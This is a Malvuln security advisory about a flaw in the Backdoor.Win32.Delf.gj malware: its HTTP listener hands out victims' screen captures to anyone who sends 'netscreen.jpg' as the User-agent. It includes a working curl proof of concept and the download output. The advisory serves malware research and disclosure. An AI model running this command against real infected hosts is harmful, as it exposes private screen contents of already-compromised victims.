Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/8872c2ec49ff3382240762a029631684.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Backdoor.Win32.Delf.gj
Vulnerability: Information Disclosure
Description: The malware listens on TCP port 80. Third-party adversaries who can reach an infected system can pass "netscreen.jpg" for the User-agent: header in the HTTP request to download victim machines screen captures.
Family: Delf
Type: PE32
MD5: 8872c2ec49ff3382240762a029631684
Vuln ID: MVID-2022-0663
Disclosure: 12/01/2022


Exploit/PoC:
curl http://x.x.x.x -H "User-agent: netscreen.jpg" --output screendump.jpg
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  215k  100  215k    0     0   215k      0  0:00:01 --:--:--  0:00:01 1976k


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